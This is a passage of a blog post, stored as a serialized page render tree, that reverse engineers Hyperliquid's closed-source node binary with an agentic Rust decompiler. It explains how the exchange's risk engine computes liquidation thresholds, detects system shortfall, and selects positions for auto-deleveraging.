"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":160745,"children":160746},{},[160747],{"type":29,"value":160748},"What does that even have to do with reverse engineering?",{"type":24,"tag":850,"props":160750,"children":160751},{"id":160725},[160752],{"type":29,"value":160753},"Hyperliquid",{"type":24,"tag":25,"props":160755,"children":160756},{},[160757],{"type":29,"value":160758},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":160760,"children":160761},{},[160762,160764,160769],{"type":29,"value":160763},"The node is tasked with a ",{"type":24,"tag":842,"props":160765,"children":160766},{},[160767],{"type":29,"value":160768},"very hard problem",{"type":29,"value":160770},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":160772,"children":160773},{},[160774],{"type":29,"value":160775},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":160777,"children":160778},{},[160779,160781,160787],{"type":29,"value":160780},"Beyond that, the ",{"type":24,"tag":32,"props":160782,"children":160784},{"className":160783},[],[160785],{"type":29,"value":160786},"hl-node",{"type":29,"value":160788}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":160790,"children":160791},{},[160792,160794,160799,160801,160806],{"type":29,"value":160793},"Armed with some curiosity, a good amount of ",{"type":24,"tag":842,"props":160795,"children":160796},{},[160797],{"type":29,"value":160798},"inference",{"type":29,"value":160800},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":842,"props":160802,"children":160803},{},[160804],{"type":29,"value":160805},"interactive interface",{"type":29,"value":160807},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":850,"props":160809,"children":160811},{"id":160810},"the-million-dollar-question",[160812],{"type":29,"value":160813},"The Million Dollar Question",{"type":24,"tag":25,"props":160815,"children":160816},{},[160817,160819,160824],{"type":29,"value":160818},"Let's say a terrible trader opens a ",{"type":24,"tag":842,"props":160820,"children":160821},{},[160822],{"type":29,"value":160823},"50x",{"type":29,"value":160825}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":160827,"children":160828},{},[160829,160831,160837],{"type":29,"value":160830},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":32,"props":160832,"children":160834},{"className":160833},[],[160835],{"type":29,"value":160836},"compute_margin_requirement_by_mode",{"type":29,"value":160838}," function.",{"type":24,"tag":25,"props":160840,"children":160841},{},[160842],{"type":29,"value":160843},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":160845,"props":160846,"children":160847},"tip",{},[160848],{"type":24,"tag":25,"props":160849,"children":160850},{},[160851,160853,160858,160860,160867,160869,160874],{"type":29,"value":160852},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":842,"props":160854,"children":160855},{},[160856],{"type":29,"value":160857},"click through",{"type":29,"value":160859}," each action performed by ",{"type":24,"tag":69,"props":160861,"children":160864},{"href":160862,"rel":160863},"https://github.com/renato-osec/patina-research",[73],[160865],{"type":29,"value":160866},"our Rust reverse engineering agent",{"type":29,"value":160868},". Return to the regular view by clicking ",{"type":24,"tag":32,"props":160870,"children":160872},{"className":160871},[],[160873],{"type":29,"value":1960},{"type":29,"value":226},{"type":24,"tag":160876,"props":160877,"children":160879},"bndb-viewer-embed",{"addr":160878,"line-start":534,"line-end":136384},"0x555556bb4d20",[],{"type":24,"tag":25,"props":160881,"children":160882},{},[160883,160885,160891],{"type":29,"value":160884},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":32,"props":160886,"children":160888},{"className":160887},[],[160889],{"type":29,"value":160890},"OptionUnitQty",{"type":29,"value":160892},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":160894,"children":160895},{},[160896],{"type":29,"value":160897},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":80,"props":160899,"children":160900},{},[160901],{"type":24,"tag":32,"props":160902,"children":160905},{"className":160903},[6368,160904],"math-display",[160906],{"type":24,"tag":90,"props":160907,"children":160910},{"className":160908},[160909],"katex-display",[160911],{"type":24,"tag":90,"props":160912,"children":160914},{"className":160913},[6374],[160915],{"type":24,"tag":90,"props":160916,"children":160918},{"className":160917,"ariaHidden":6380},[6379],[160919,160950],{"type":24,"tag":90,"props":160920,"children":160922},{"className":160921},[6385],[160923,160927,160937,160941,160946],{"type":24,"tag":90,"props":160924,"children":160926},{"className":160925,"style":96290},[6390],[],{"type":24,"tag":90,"props":160928,"children":160930},{"className":160929},[6396,29],[160931],{"type":24,"tag":90,"props":160932,"children":160934},{"className":160933},[6396],[160935],{"type":29,"value":160936},"liq_equity",{"type":24,"tag":90,"props":160938,"children":160940},{"className":160939,"style":6573},[6475],[],{"type":24,"tag":90,"props":160942,"children":160944},{"className":160943},[6578],[160945],{"type":29,"value":5491},{"type":24,"tag":90,"props":160947,"children":160949},{"className":160948,"style":6573},[6475],[],{"type":24,"tag":90,"props":160951,"children":160953},{"className":160952},[6385],[160954,160959],{"type":24,"tag":90,"props":160955,"children":160958},{"className":160956,"style":160957},[6390],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":90,"props":160960,"children":160962},{"className":160961},[6396],[160963,160967,161085],{"type":24,"tag":90,"props":160964,"children":160966},{"className":160965},[23513,115395],[],{"type":24,"tag":90,"props":160968,"children":160970},{"className":160969},[115400],[160971],{"type":24,"tag":90,"props":160972,"children":160974},{"className":160973},[6417,23438],[160975,161073],{"type":24,"tag":90,"props":160976,"children":160978},{"className":160977},[6422],[160979,161068],{"type":24,"tag":90,"props":160980,"children":160983},{"className":160981,"style":160982},[6427],"height:1.427em;",[160984,161024,161035],{"type":24,"tag":90,"props":160985,"children":160987},{"style":160986},"top:-2.314em;",[160988,160992],{"type":24,"tag":90,"props":160989,"children":160991},{"className":160990,"style":114048},[6436],[],{"type":24,"tag":90,"props":160993,"children":160995},{"className":160994},[6396],[160996,161001,161005,161010,161014],{"type":24,"tag":90,"props":160997,"children":160999},{"className":160998},[6396],[161000],{"type":29,"value":3191},{"type":24,"tag":90,"props":161002,"children":161004},{"className":161003,"style":6476},[6475],[],{"type":24,"tag":90,"props":161006,"children":161008},{"className":161007},[6481],[161009],{"type":29,"value":113139},{"type":24,"tag":90,"props":161011,"children":161013},{"className":161012,"style":6476},[6475],[],{"type":24,"tag":90,"props":161015,"children":161017},{"className":161016},[6396,29],[161018],{"type":24,"tag":90,"props":161019,"children":161021},{"className":161020},[6396],[161022],{"type":29,"value":161023},"leverage",{"type":24,"tag":90,"props":161025,"children":161026},{"style":115450},[161027,161031],{"type":24,"tag":90,"props":161028,"children":161030},{"className":161029,"style":114048},[6436],[],{"type":24,"tag":90,"props":161032,"children":161034},{"className":161033,"style":115460},[115459],[],{"type":24,"tag":90,"props":161036,"children":161038},{"style":161037},"top:-3.677em;",[161039,161043],{"type":24,"tag":90,"props":161040,"children":161042},{"className":161041,"style":114048},[6436],[],{"type":24,"tag":90,"props":161044,"children":161046},{"className":161045},[6396],[161047,161053,161063],{"type":24,"tag":90,"props":161048,"children":161050},{"className":161049},[6396],[161051],{"type":29,"value":161052},"∣",{"type":24,"tag":90,"props":161054,"children":161056},{"className":161055},[6396,29],[161057],{"type":24,"tag":90,"props":161058,"children":161060},{"className":161059},[6396],[161061],{"type":29,"value":161062},"notional",{"type":24,"tag":90,"props":161064,"children":161066},{"className":161065},[6396],[161067],{"type":29,"value":161052},{"type":24,"tag":90,"props":161069,"children":161071},{"className":161070},[23541],[161072],{"type":29,"value":23544},{"type":24,"tag":90,"props":161074,"children":161076},{"className":161075},[6422],[161077],{"type":24,"tag":90,"props":161078,"children":161081},{"className":161079,"style":161080},[6427],"height:0.8804em;",[161082],{"type":24,"tag":90,"props":161083,"children":161084},{},[],{"type":24,"tag":90,"props":161086,"children":161088},{"className":161087},[23535,115395],[],{"type":24,"tag":850,"props":161090,"children":161092},{"id":161091},"what-if-nobody-wants-to-buy-the-position",[161093],{"type":29,"value":161094},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":161096,"children":161097},{},[161098],{"type":29,"value":161099},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":161101,"children":161102},{},[161103,161105,161110],{"type":29,"value":161104},"When that happens, the exchange is basically left with a ",{"type":24,"tag":842,"props":161106,"children":161107},{},[161108],{"type":29,"value":161109},"hot potato",{"type":29,"value":161111}," to get rid of: what should it even do with the debt?",{"type":24,"tag":37188,"props":161113,"children":161115},{"id":161114},"the-risk-engine",[161116],{"type":29,"value":161117},"The Risk Engine",{"type":24,"tag":25,"props":161119,"children":161120},{},[161121],{"type":29,"value":161122},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":850,"props":161124,"children":161126},{"id":161125},"clearing-up-bad-debt",[161127],{"type":29,"value":161128},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":161130,"children":161131},{},[161132,161133,161140],{"type":29,"value":3131},{"type":24,"tag":69,"props":161134,"children":161137},{"href":161135,"rel":161136},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[73],[161138],{"type":29,"value":161139},"Hyperliquid docs",{"type":29,"value":161141}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":161143,"children":161144},{},[161145,161147,161158,161160,161166,161168,161174],{"type":29,"value":161146},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":69,"props":161148,"children":161151},{"href":161149,"rel":161150},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[73],[161152],{"type":24,"tag":32,"props":161153,"children":161155},{"className":161154},[],[161156],{"type":29,"value":161157},"Clearinghouse",{"type":29,"value":161159},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":32,"props":161161,"children":161163},{"className":161162},[],[161164],{"type":29,"value":161165},"Exchange",{"type":29,"value":161167}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":32,"props":161169,"children":161171},{"className":161170},[],[161172],{"type":29,"value":161173},"MessagePack",{"type":29,"value":161175}," at runtime.",{"type":24,"tag":25,"props":161177,"children":161178},{},[161179],{"type":29,"value":161180},"This data will come in handy both for us and the agent.",{"type":24,"tag":161182,"props":161183,"children":161185},"file-download",{"path":161184},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":161187,"children":161188},{},[161189,161191,161196],{"type":29,"value":161190},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":32,"props":161192,"children":161194},{"className":161193},[],[161195],{"type":29,"value":161157},{"type":29,"value":161197},". Some renaming later, we can infer something like this:",{"type":24,"tag":160876,"props":161199,"children":161203},{"source":161200,"target":161201,"direction":161202},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":161205,"children":161206},{},[161207,161209,161214,161216,161222],{"type":29,"value":161208},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":32,"props":161210,"children":161212},{"className":161211},[],[161213],{"type":29,"value":161201},{"type":29,"value":161215},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":32,"props":161217,"children":161219},{"className":161218},[],[161220],{"type":29,"value":161221},"exchange_end_block",{"type":29,"value":161223},". So, at the end of each block we run some checks.",{"type":24,"tag":160845,"props":161225,"children":161226},{},[161227],{"type":24,"tag":25,"props":161228,"children":161229},{},[161230],{"type":29,"value":161231},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":161233,"children":161234},{},[161235,161237,161243],{"type":29,"value":161236},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":32,"props":161238,"children":161240},{"className":161239},[],[161241],{"type":29,"value":161242},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":161244}," flag.",{"type":24,"tag":160876,"props":161246,"children":161250},{"addr":161247,"line-start":161248,"line-end":161249},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":161252,"children":161253},{},[161254,161256,161261],{"type":29,"value":161255},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":32,"props":161257,"children":161259},{"className":161258},[],[161260],{"type":29,"value":161157},{"type":29,"value":714},{"type":24,"tag":1019,"props":161263,"children":161265},{"id":161264},"threshold-condition",[161266],{"type":29,"value":161267},"Threshold Condition",{"type":24,"tag":25,"props":161269,"children":161270},{},[161271,161273,161278],{"type":29,"value":161272},"The natural connection between liquidations and ADL is ",{"type":24,"tag":842,"props":161274,"children":161275},{},[161276],{"type":29,"value":161277},"shortfall",{"type":29,"value":161279},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":161281,"children":161282},{},[161283],{"type":29,"value":161284},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":20686,"props":161286,"children":161288},{"id":161287},"who-is-underwater",[161289],{"type":29,"value":161290},"Who Is Underwater?",{"type":24,"tag":25,"props":161292,"children":161293},{},[161294,161296,161301,161303,161309],{"type":29,"value":161295},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":32,"props":161297,"children":161299},{"className":161298},[],[161300],{"type":29,"value":161201},{"type":29,"value":161302},", starting from all user positions, which are stored in ",{"type":24,"tag":32,"props":161304,"children":161306},{"className":161305},[],[161307],{"type":29,"value":161308},"clearinghouse.user_states",{"type":29,"value":161310},", as we can also see from the serialization.",{"type":24,"tag":160845,"props":161312,"children":161313},{},[161314],{"type":24,"tag":25,"props":161315,"children":161316},{},[161317],{"type":29,"value":161318},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":160876,"props":161320,"children":161324},{"source":161321,"target":161221,"direction":161322,"path":161323},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":161326,"children":161327},{},[161328,161329,161334,161336,161342,161344,161350,161352,161358],{"type":29,"value":3131},{"type":24,"tag":32,"props":161330,"children":161332},{"className":161331},[],[161333],{"type":29,"value":161321},{"type":29,"value":161335}," essentially turns that into an ",{"type":24,"tag":32,"props":161337,"children":161339},{"className":161338},[],[161340],{"type":29,"value":161341},"Iter",{"type":29,"value":161343},", then, inside of ",{"type":24,"tag":32,"props":161345,"children":161347},{"className":161346},[],[161348],{"type":29,"value":161349},"build_adl_candidate_set",{"type":29,"value":161351}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":32,"props":161353,"children":161355},{"className":161354},[],[161356],{"type":29,"value":161357},"AdlIterEntry",{"type":29,"value":60151},{"type":24,"tag":160876,"props":161360,"children":161362},{"type-name":161361},"AdlIterContext",[],{"type":24,"tag":25,"props":161364,"children":161365},{},[161366,161368,161374,161376,161382,161384,161390,161392,161397],{"type":29,"value":161367},"Note that in storage, ",{"type":24,"tag":32,"props":161369,"children":161371},{"className":161370},[],[161372],{"type":29,"value":161373},"Isolated",{"type":29,"value":161375}," positions have their own independent ",{"type":24,"tag":32,"props":161377,"children":161379},{"className":161378},[],[161380],{"type":29,"value":161381},"Entry",{"type":29,"value":161383}," in the position iterators, and ",{"type":24,"tag":32,"props":161385,"children":161387},{"className":161386},[],[161388],{"type":29,"value":161389},"Cross",{"type":29,"value":161391}," positions have a single common ",{"type":24,"tag":32,"props":161393,"children":161395},{"className":161394},[],[161396],{"type":29,"value":161381},{"type":29,"value":161398},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":160876,"props":161400,"children":161403},{"addr":161401,"line-start":46075,"line-end":161402},"0x555556266b10","163",[],{"type":24,"tag":25,"props":161405,"children":161406},{},[161407],{"type":29,"value":161408},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":160876,"props":161410,"children":161413},{"addr":161247,"line-start":161411,"line-end":161412},"506","527",[],{"type":24,"tag":25,"props":161415,"children":161416},{},[161417,161419],{"type":29,"value":161418},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":161420,"props":161421,"children":161424},"bndb-xref",{"lines":161422,"addrs":161423},"1-2","0x555556ac3e18-0x555556ac3e18",[161425],{"type":29,"value":161426},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":161428,"children":161429},{},[161430,161432,161438,161440,161446,161448,161454,161456,161462],{"type":29,"value":161431},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":32,"props":161433,"children":161435},{"className":161434},[],[161436],{"type":29,"value":161437},"only_isolated",{"type":29,"value":161439}," (or ",{"type":24,"tag":32,"props":161441,"children":161443},{"className":161442},[],[161444],{"type":29,"value":161445},"strict_isolated",{"type":29,"value":161447}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":32,"props":161449,"children":161451},{"className":161450},[],[161452],{"type":29,"value":161453},"deferred_queue",{"type":29,"value":161455},", which triggers ADL regardless of the system's ",{"type":24,"tag":32,"props":161457,"children":161459},{"className":161458},[],[161460],{"type":29,"value":161461},"total_shortfall",{"type":29,"value":161463},". This is dictated by this branch.",{"type":24,"tag":160876,"props":161465,"children":161468},{"addr":161247,"line-start":161466,"line-end":161467},"211","243",[],{"type":24,"tag":25,"props":161470,"children":161471},{},[161472,161474,161481],{"type":29,"value":161473},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":69,"props":161475,"children":161478},{"href":161476,"rel":161477},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[73],[161479],{"type":29,"value":161480},"March 2025 incident",{"type":29,"value":161482},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":20686,"props":161484,"children":161486},{"id":161485},"how-do-we-get-rid-of-debt",[161487],{"type":29,"value":161488},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":161490,"children":161491},{},[161492],{"type":29,"value":161493},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":161495,"children":161496},{},[161497,161499,161504,161506,161511,161513,161518],{"type":29,"value":161498},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":32,"props":161500,"children":161502},{"className":161501},[],[161503],{"type":29,"value":161453},{"type":29,"value":161505}," is overwritten by all the users marked by ",{"type":24,"tag":32,"props":161507,"children":161509},{"className":161508},[],[161510],{"type":29,"value":161349},{"type":29,"value":161512},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":32,"props":161514,"children":161516},{"className":161515},[],[161517],{"type":29,"value":161445},{"type":29,"value":161519}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":160845,"props":161521,"children":161522},{},[161523],{"type":24,"tag":25,"props":161524,"children":161525},{},[161526],{"type":29,"value":161527},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":160876,"props":161529,"children":161532},{"addr":161247,"line-start":161530,"line-end":161531},"523","526",[],{"type":24,"tag":25,"props":161534,"children":161535},{},[161536,161538,161544,161546,161552,161554,161559],{"type":29,"value":161537},"For each underwater position, we do a ",{"type":24,"tag":161420,"props":161539,"children":161541},{"addrs":161540},"0x555556ac42ad-0x555556ac42be",[161542],{"type":29,"value":161543},"B-tree lookup",{"type":29,"value":161545}," on ",{"type":24,"tag":32,"props":161547,"children":161549},{"className":161548},[],[161550],{"type":29,"value":161551},"clearinghouse.user_states[position.user]",{"type":29,"value":161553},", adding them to a ",{"type":24,"tag":32,"props":161555,"children":161557},{"className":161556},[],[161558],{"type":29,"value":3732},{"type":29,"value":161560}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":160876,"props":161562,"children":161565},{"addr":161247,"line-start":161563,"line-end":161564},"635","658",[],{"type":24,"tag":25,"props":161567,"children":161568},{},[161569],{"type":29,"value":161570},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":80,"props":161572,"children":161573},{},[161574],{"type":24,"tag":32,"props":161575,"children":161577},{"className":161576},[6368,160904],[161578],{"type":24,"tag":90,"props":161579,"children":161581},{"className":161580},[160909],[161582],{"type":24,"tag":90,"props":161583,"children":161585},{"className":161584},[6374],[161586],{"type":24,"tag":90,"props":161587,"children":161589},{"className":161588,"ariaHidden":6380},[6379],[161590],{"type":24,"tag":90,"props":161591,"children":161593},{"className":161592},[6385],[161594,161599],{"type":24,"tag":90,"props":161595,"children":161598},{"className":161596,"style":161597},[6390],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":90,"props":161600,"children":161602},{"className":161601},[6396],[161603],{"type":24,"tag":90,"props":161604,"children":161607},{"className":161605},[161606],"mtable",[161608,161688],{"type":24,"tag":90,"props":161609,"children":161612},{"className":161610},[161611],"col-align-r",[161613],{"type":24,"tag":90,"props":161614,"children":161616},{"className":161615},[6417,23438],[161617,161676],{"type":24,"tag":90,"props":161618,"children":161620},{"className":161619},[6422],[161621,161671],{"type":24,"tag":90,"props":161622,"children":161625},{"className":161623,"style":161624},[6427],"height:2.3452em;",[161626,161649],{"type":24,"tag":90,"props":161627,"children":161629},{"style":161628},"top:-4.3452em;",[161630,161635],{"type":24,"tag":90,"props":161631,"children":161634},{"className":161632,"style":161633},[6436],"height:3.3944em;",[],{"type":24,"tag":90,"props":161636,"children":161638},{"className":161637},[6396],[161639],{"type":24,"tag":90,"props":161640,"children":161642},{"className":161641},[6396,29],[161643],{"type":24,"tag":90,"props":161644,"children":161646},{"className":161645},[6396],[161647],{"type":29,"value":161648},"position_weight",{"type":24,"tag":90,"props":161650,"children":161652},{"style":161651},"top:-2.2092em;",[161653,161657],{"type":24,"tag":90,"props":161654,"children":161656},{"className":161655,"style":161633},[6436],[],{"type":24,"tag":90,"props":161658,"children":161660},{"className":161659},[6396],[161661],{"type":24,"tag":90,"props":161662,"children":161664},{"className":161663},[6396,29],[161665],{"type":24,"tag":90,"props":161666,"children":161668},{"className":161667},[6396],[161669],{"type":29,"value":161670},"position_adl_amount",{"type":24,"tag":90,"props":161672,"children":161674},{"className":161673},[23541],[161675],{"type":29,"value":23544},{"type":24,"tag":90,"props":161677,"children":161679},{"className":161678},[6422],[161680],{"type":24,"tag":90,"props":161681,"children":161684},{"className":161682,"style":161683},[6427],"height:1.8452em;",[161685],{"type":24,"tag":90,"props":161686,"children":161687},{},[],{"type":24,"tag":90,"props":161689,"children":161692},{"className":161690},[161691],"col-align-l",[161693],{"type":24,"tag":90,"props":161694,"children":161696},{"className":161695},[6417,23438],[161697,161898],{"type":24,"tag":90,"props":161698,"children":161700},{"className":161699},[6422],[161701,161893],{"type":24,"tag":90,"props":161702,"children":161704},{"className":161703,"style":161624},[6427],[161705,161833],{"type":24,"tag":90,"props":161706,"children":161707},{"style":161628},[161708,161712],{"type":24,"tag":90,"props":161709,"children":161711},{"className":161710,"style":161633},[6436],[],{"type":24,"tag":90,"props":161713,"children":161715},{"className":161714},[6396],[161716,161720,161724,161729,161733],{"type":24,"tag":90,"props":161717,"children":161719},{"className":161718},[6396],[],{"type":24,"tag":90,"props":161721,"children":161723},{"className":161722,"style":6573},[6475],[],{"type":24,"tag":90,"props":161725,"children":161727},{"className":161726},[6578],[161728],{"type":29,"value":5491},{"type":24,"tag":90,"props":161730,"children":161732},{"className":161731,"style":6573},[6475],[],{"type":24,"tag":90,"props":161734,"children":161736},{"className":161735},[6396],[161737,161741,161829],{"type":24,"tag":90,"props":161738,"children":161740},{"className":161739},[23513,115395],[],{"type":24,"tag":90,"props":161742,"children":161744},{"className":161743},[115400],[161745],{"type":24,"tag":90,"props":161746,"children":161748},{"className":161747},[6417,23438],[161749,161817],{"type":24,"tag":90,"props":161750,"children":161752},{"className":161751},[6422],[161753,161812],{"type":24,"tag":90,"props":161754,"children":161757},{"className":161755,"style":161756},[6427],"height:1.3944em;",[161758,161779,161790],{"type":24,"tag":90,"props":161759,"children":161760},{"style":160986},[161761,161765],{"type":24,"tag":90,"props":161762,"children":161764},{"className":161763,"style":114048},[6436],[],{"type":24,"tag":90,"props":161766,"children":161768},{"className":161767},[6396],[161769],{"type":24,"tag":90,"props":161770,"children":161772},{"className":161771},[6396,29],[161773],{"type":24,"tag":90,"props":161774,"children":161776},{"className":161775},[6396],[161777],{"type":29,"value":161778},"total_cross_notional",{"type":24,"tag":90,"props":161780,"children":161781},{"style":115450},[161782,161786],{"type":24,"tag":90,"props":161783,"children":161785},{"className":161784,"style":114048},[6436],[],{"type":24,"tag":90,"props":161787,"children":161789},{"className":161788,"style":115460},[115459],[],{"type":24,"tag":90,"props":161791,"children":161793},{"style":161792},"top:-3.7em;",[161794,161798],{"type":24,"tag":90,"props":161795,"children":161797},{"className":161796,"style":114048},[6436],[],{"type":24,"tag":90,"props":161799,"children":161801},{"className":161800},[6396],[161802],{"type":24,"tag":90,"props":161803,"children":161805},{"className":161804},[6396,29],[161806],{"type":24,"tag":90,"props":161807,"children":161809},{"className":161808},[6396],[161810],{"type":29,"value":161811},"position_notional",{"type":24,"tag":90,"props":161813,"children":161815},{"className":161814},[23541],[161816],{"type":29,"value":23544},{"type":24,"tag":90,"props":161818,"children":161820},{"className":161819},[6422],[161821],{"type":24,"tag":90,"props":161822,"children":161825},{"className":161823,"style":161824},[6427],"height:0.996em;",[161826],{"type":24,"tag":90,"props":161827,"children":161828},{},[],{"type":24,"tag":90,"props":161830,"children":161832},{"className":161831},[23535,115395],[],{"type":24,"tag":90,"props":161834,"children":161835},{"style":161651},[161836,161840],{"type":24,"tag":90,"props":161837,"children":161839},{"className":161838,"style":161633},[6436],[],{"type":24,"tag":90,"props":161841,"children":161843},{"className":161842},[6396],[161844,161848,161852,161857,161861,161871,161875,161880,161884],{"type":24,"tag":90,"props":161845,"children":161847},{"className":161846},[6396],[],{"type":24,"tag":90,"props":161849,"children":161851},{"className":161850,"style":6573},[6475],[],{"type":24,"tag":90,"props":161853,"children":161855},{"className":161854},[6578],[161856],{"type":29,"value":5491},{"type":24,"tag":90,"props":161858,"children":161860},{"className":161859,"style":6573},[6475],[],{"type":24,"tag":90,"props":161862,"children":161864},{"className":161863},[6396,29],[161865],{"type":24,"tag":90,"props":161866,"children":161868},{"className":161867},[6396],[161869],{"type":29,"value":161870},"user_shortfall",{"type":24,"tag":90,"props":161872,"children":161874},{"className":161873,"style":6476},[6475],[],{"type":24,"tag":90,"props":161876,"children":161878},{"className":161877},[6481],[161879],{"type":29,"value":113139},{"type":24,"tag":90,"props":161881,"children":161883},{"className":161882,"style":6476},[6475],[],{"type":24,"tag":90,"props":161885,"children":161887},{"className":161886},[6396,29],[161888],{"type":24,"tag":90,"props":161889,"children":161891},{"className":161890},[6396],[161892],{"type":29,"value":161648},{"type":24,"tag":90,"props":161894,"children":161896},{"className":161895},[23541],[161897],{"type":29,"value":23544},{"type":24,"tag":90,"props":161899,"children":161901},{"className":161900},[6422],[161902],{"type":24,"tag":90,"props":161903,"children":161905},{"className":161904,"style":161683},[6427],[161906],{"type":24,"tag":90,"props":161907,"children":161908},{},[],{"type":24,"tag":25,"props":161910,"children":161911},{},[161912],{"type":29,"value":161913},"We do that here:",{"type":24,"tag":160876,"props":161915,"children":161918},{"addr":161247,"line-start":161916,"line-end":161917},"828","981",[],{"type":24,"tag":25,"props":161920,"children":161921},{},[161922,161923,161929,161931,161937],{"type":29,"value":3131},{"type":24,"tag":161420,"props":161924,"children":161926},{"lines":161925},"77-79",[161927],{"type":29,"value":161928},"inner loop",{"type":29,"value":161930}," above spans all ",{"type":24,"tag":32,"props":161932,"children":161934},{"className":161933},[],[161935],{"type":29,"value":161936},"(asset_idx, direction)",{"type":29,"value":161938}," held in the cross margin position.",{"type":24,"tag":25,"props":161940,"children":161941},{},[161942,161944,161950,161952,161958,161959,161965],{"type":29,"value":161943},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":32,"props":161945,"children":161947},{"className":161946},[],[161948],{"type":29,"value":161949},"adl_output",{"type":29,"value":161951}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both 